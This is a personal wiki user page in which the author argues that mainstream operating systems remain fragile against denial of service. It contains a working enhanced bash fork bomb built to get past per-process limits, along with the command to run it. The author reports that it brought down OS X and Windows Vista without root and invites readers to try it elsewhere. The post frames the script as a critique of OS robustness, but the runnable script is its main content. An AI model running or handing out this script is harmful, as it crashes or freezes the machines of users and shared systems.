Benutzer:Rdiez/BrittleOperatingSystems
Dies sind die persönlichen Benutzerseiten von rdiez, bitte nicht verändern! Ausnahmen sind nur einfache Sprachkorrekturen wie Tippfehler, falsche Präpositionen oder Ähnliches. Alles andere bitte nur dem Benutzer melden! |
Brittle Operating Systems
It's hard to believe how brittle modern Operating Systems still are. After years of development and refinement, you would expect most mainstream OSes to have reached a reasonable level of robustness and security. However, a simple fork bomb easily brings most OSes down.
It is as if the concept of denial of service would not belong in the software security category. Apparently, responsiveness does not fit into the OS writers' idea of software robustness either.
Admittedly, the simplest standard fork bomb does not do the trick any more, as most OSes nowadays limit the maximum number of child processes per session. However, it takes about a minute to write an enhanced version that still works, here it is:
#!/bin/bash ENABLE_BOMB=true ENABLE_PRINT_LEN=false TEST="ab" bomb() { if $ENABLE_BOMB; then bomb & fi TEST="$TEST$TEST" echo $TEST >/dev/null echo >/dev/null if $ENABLE_PRINT_LEN; then echo "TEST string length: ${#TEST}" fi bomb }; bomb
I left a little extra code inside so that you can comfortably experiment with it. Just save it to a file called "ForkBomb-WARNING-may-crash-your-computer.sh", start it as follows and watch your OS slowly grind to a halt:
bash ForkBomb-WARNING-may-crash-your-computer.sh
That's it. You don't need to be root or change any special system configuration setting.
I have seen that little script bring the following systems down:
- Apple OS X
- Microsoft Windows Vista (under Cygwin)
Please do drop me a line if you try it on other OSes, so that I can update the list above. Did you find one that resists the script in its default configuration?